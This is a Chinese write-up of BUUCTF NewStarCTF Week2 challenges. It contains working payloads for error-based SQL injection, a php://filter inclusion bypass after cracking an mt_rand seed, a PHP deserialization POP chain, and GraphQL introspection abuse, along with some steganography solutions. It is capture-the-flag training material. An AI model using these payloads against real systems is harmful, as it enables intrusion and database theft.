首页 > 其他分享 >BUUCTF NewStarCTF 公开赛赛道Week2 Writeup

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup

时间:2023-06-19 20:32:45浏览次数:54  
标签:赛道 __ BUUCTF NewStarCTF flag seed php data name



文章目录

  • WEEK2
  • WEB
  • Word-For-You(2 Gen)
  • IncludeOne
  • UnserializeOne
  • ezAPI
  • MISC
  • Yesec no drumsticks 2
  • Coldwinds's Desktop
  • 奇怪的二维码
  • qsdz's girlfriend 2



WEEK2

WEB

Word-For-You(2 Gen)

题目描述

哇哇哇,我把查询界面改了,现在你们不能从数据库中拿到东西了吧哈哈(不过为了调试的代码似乎忘记删除了

报错注入

/comments.php?name=1'and updatexml(1,concat(0x7e,database(),0x7e),1)--+
Current Database: wfy
/comments.php?name=1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)--+

/comments.php?name=1'and updatexml(1,concat(0x7e,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=database()),0x7e),1)--+
Tables in database(wfy): wfy_admin,wfy_comments,wfy_information
/comments.php?name=1'and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments'),0x7e),1)--+
Columns in table(wfy_comments): id,text,user,name,display
/comments.php?name=1'and updatexml(1,concat(0x7e,(select right(group_concat(text),30) from wfy.wfy_comments),0x7e),1)--+

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_GraphQL

IncludeOne

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."<br>";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521

首先爆破伪随机数:https://www.openwall.com/php_mt_seed/

root@mochu7-pc:/mnt/d/Tools/Web/CTF/php_mt_seed# ./php_mt_seed 1219893521
Pattern: EXACT
Version: 3.0.7 to 5.2.0
Found 0, trying 0xfc000000 - 0xffffffff, speed 18382.0 Mseeds/s
Version: 5.2.1+
Found 0, trying 0x00000000 - 0x01ffffff, speed 0.0 Mseeds/s
seed = 0x0011793a = 1145146 (PHP 7.1.0+)
Found 1, trying 0x16000000 - 0x17ffffff, speed 183.6 Mseeds/s
seed = 0x161c5abb = 370956987 (PHP 5.2.1 to 7.0.x; HHVM)
Found 2, trying 0x64000000 - 0x65ffffff, speed 177.0 Mseeds/s
seed = 0x64a22f28 = 1688350504 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0x64a22f28 = 1688350504 (PHP 7.1.0+)
Found 4, trying 0xc4000000 - 0xc5ffffff, speed 170.5 Mseeds/s
seed = 0xc4b59923 = 3300235555 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4b59923 = 3300235555 (PHP 7.1.0+)
seed = 0xc4efe664 = 3304056420 (PHP 5.2.1 to 7.0.x; HHVM)
seed = 0xc4efe664 = 3304056420 (PHP 7.1.0+)
Found 8, trying 0xfe000000 - 0xffffffff, speed 168.2 Mseeds/s
Found 8
PS C:\Users\Administrator\Downloads> php -r "mt_srand(1145146);mt_rand();var_dump(mt_rand());"
Command line code:1:
int(1202031004)

第二层使用伪协议,php://filter/协议自带一层url解码,这样双层url编码可以绕这里的过滤,至于NewStar关键字可以用管道符分隔开用作过滤器(错误的过滤器也不会报错)

/?file=php://filter/read=convert.ba%25%37%33e64-encode|NewStar/resource=flag.php

guess=1202031004

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_PHP_02

PS C:\Users\Administrator\Downloads> php -r "var_dump(base64_decode('PD9waHAgLy9mbGFnezc4YWY5ZjhhLTljMGUtNDJmNS1hYmY5LWFkOWUyY2FhZjE0Nn0K'));"
Command line code:1:
string(51) "<?php //flag{78af9f8a-9c0e-42f5-abf9-ad9e2caaf146}
"

UnserializeOne

<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var)
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

POP链

Sec::__invoke() <- Start::__isset() <- eeee::__clone() <- Easy::__call() <- Sec::__toString() <- Start::__destruct()
<?php 
class Start{
    public $name;
    public $func;
}

class Sec{
    public $obj;
    public $var;
}

class Easy{
    public $cla;
}

class eeee{
    public $obj;
}
$start = new Start();
$sec = new Sec();
$easy = new Easy();
$eeee = new eeee();
$eeee->obj = $start;
$sec->obj = $easy;
$sec->var = $eeee;
$start->name = $sec;
$start->func = $sec;
echo serialize($start);
 ?>
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_BUUCTF NewStar_03

ezAPI

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_PHP_04


www.zip提供了源码

<?php
                error_reporting(0);
                $id = $_POST['id'];
                function waf($str)
                {
                    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
                        return False;
                    } else {
                        return True;
                    }
                }

                function send($data)
                {
                    $options = array(
                        'http' => array(
                            'method' => 'POST',
                            'header' => 'Content-type: application/json',
                            'content' => $data,
                            'timeout' => 10 * 60
                        )
                    );
                    $context = stream_context_create($options);
                    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
                    return $result;
                }

                if (isset($id)) {
                    if (waf($id)) {
                        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
                        $res = json_decode(send($data));
                        if ($res->data->users_user_by_pk->name !== NULL) {
                            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
                        } else {
                            echo "<b>Can't found it!</b><br><br>DEBUG: ";
                            var_dump($res->data);
                        }
                    } else {
                        die("<b>Hacker! Only Number!</b>");
                    }
                } else {
                    die("<b>No Data?</b>");
                }
                ?>

$_POST['data']可以传入GraphQL查询语句

开启了Debug模式,由于GraphQL自带强大的内省自检机制,可以查询出GraphQL中所有的QueryMutaionObjectTypeFieldArguments

id=1&data={"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

右键查看源码

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_GraphQL_05


直接关键字搜索flag,找到了ffffllllaaagggg_1n_h3r3_flagflag字段,尝试直接查询

id=1&data={"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}"}

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_BUUCTF NewStar_06

MISC

Yesec no drumsticks 2

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_GraphQL_07


零宽度字符隐写:https://330k.github.io/misc_tools/unicode_steganography.html

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_PHP_08


Base家族识别:https://basecrack.herokuapp.com/

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_GraphQL_09

>>> bytes.fromhex('666c61677b496e6772336431656e745f30465f59657365635f69355f4f4f4f4f4f7d')
b'flag{Ingr3d1ent_0F_Yesec_i5_OOOOO}'

Coldwinds’s Desktop

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_GraphQL_10

montage *.PNG -tile 12x12 -geometry 30x30+0+0 flag.png
gaps --image=flag.png --generations=50 --population=144 --size=30 --verbose

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_php_11


BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_PHP_12


BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_BUUCTF NewStar_13

flag{Y0u_successfu11y_s01ved_the_puzz1e}

奇怪的二维码


很明显是一种QR Code,但是使用这个:https://products.aspose.app/barcode/recognize#/recognized 识别不出来

code.png末尾附加了一张PNG图片

BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_PHP_14


BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_PHP_15


BUUCTF NewStarCTF 公开赛赛道Week2 Writeup_php_16



标签:赛道,__,BUUCTF,NewStarCTF,flag,seed,php,data,name
From: https://blog.51cto.com/u_16159500/6517212

相关文章

  • BUUCTF:[HDCTF2019]你能发现什么蛛丝马迹吗
    https://buuoj.cn/challenges#[HDCTF2019]%E4%BD%A0%E8%83%BD%E5%8F%91%E7%8E%B0%E4%BB%80%E4%B9%88%E8%9B%9B%E4%B8%9D%E9%A9%AC%E8%BF%B9%E5%90%97memory.imgVolatility分析查看文件的Profilevolatility-fmemory.imgimageinfo猜测为:Win2003SP1x86查看进程volatility-fmemor......
  • BUUCTF:[GKCTF2020]Harley Quinn
    https://buuoj.cn/challenges#[GKCTF2020]Harley%20QuinnHeathens末尾存在DTMF码(电话拨号码)将这一段截取出来,使用工具dtmf2num识别#22283334447777338866#对照即可得到#ctfisfun#题目压缩包上有提示:FreeFileCamouflageFreeFileCamouflage是一款将重要文档以AES加密算法存放......
  • BUUCTF:[SUCTF2018]followme
    https://buuoj.cn/challenges#[SUCTF2018]followme导出HTTP,这里大部分文件内容显示貌似再爆破admin密码有点多,尝试整个文件夹找一下相关关键字,例如CTF、flag之类的grep-r'CTF'./new/flag{password_is_not_weak}......
  • BUUCTF:[MRCTF2020]Ez_bypass
    https://buuoj.cn/challenges#[MRCTF2020]Ez_bypass右键查看源代码include'flag.php';$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';if(isset($_GET['gg'])&&isset($_GET['id'])){$id=$_GET['id'];$gg=$_GET......
  • BUUCTF:大流量分析(二)
    https://buuoj.cn/challenges#%E5%A4%A7%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90%EF%BC%88%E4%BA%8C%EF%BC%89数据采集D_eth0_NS_20160809_164452.pcap查看下邮件协议:POP、SMTP、IMAP这里只有SMTP追踪TCP流看到了钓鱼邮件解码下这串base64很明显,就是这封钓鱼邮件,而且内容里面有显......
  • BUUCTF:[GXYCTF2019]禁止套娃
    https://buuoj.cn/challenges#[GXYCTF2019]%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83.git泄露,使用GitHackindex.php<?phpinclude"flag.php";echo"flag在哪里呢?<br>";if(isset($_GET['exp'])){if(!preg_match('/data:\/\/|fil......
  • BUUCTF:[ACTF2020 新生赛]Upload
    题目地址:https://buuoj.cn/challenges#[ACTF2020%20%E6%96%B0%E7%94%9F%E8%B5%9B]Upload图片马,filename改为.phtmlhttp://7f46d4ae-8320-44f5-a608-db84399f39e5.node3.buuoj.cn/uplo4d/0094153d9fd2e4a052850a6d656cefb6.phtml......
  • BUUCTF:[极客大挑战 2019]Upload
    题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]UploadPOST/upload_file.phpHTTP/1.1Host:b40c1d53-d3d6-43be-9f6d-67c767946f8c.node3.buuoj.cnUser-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:82.0)Gecko/2010......
  • BUUCTF: [MRCTF2020]Ezpop
    https://buuoj.cn/challenges#[MRCTF2020]Ezpop<?phpclassModifier{protected$var;publicfunctionappend($value){include($value);}publicfunction__invoke(){$this->append($this->var);}}classShow{......
  • BUUCTF:[ASIS 2019]Unicorn shop
    https://buuoj.cn/challenges#[ASIS%202019]Unicorn%20shop功能是一个购物商店,输入商品ID和价钱进行点击购买。源代码中提醒<metacharset="utf-8">很重要html使用的是UTF-8编码id和price都为空点击购买,返回报错及原因从中可以发现源代码是如何处理price的使用的是unicodedata......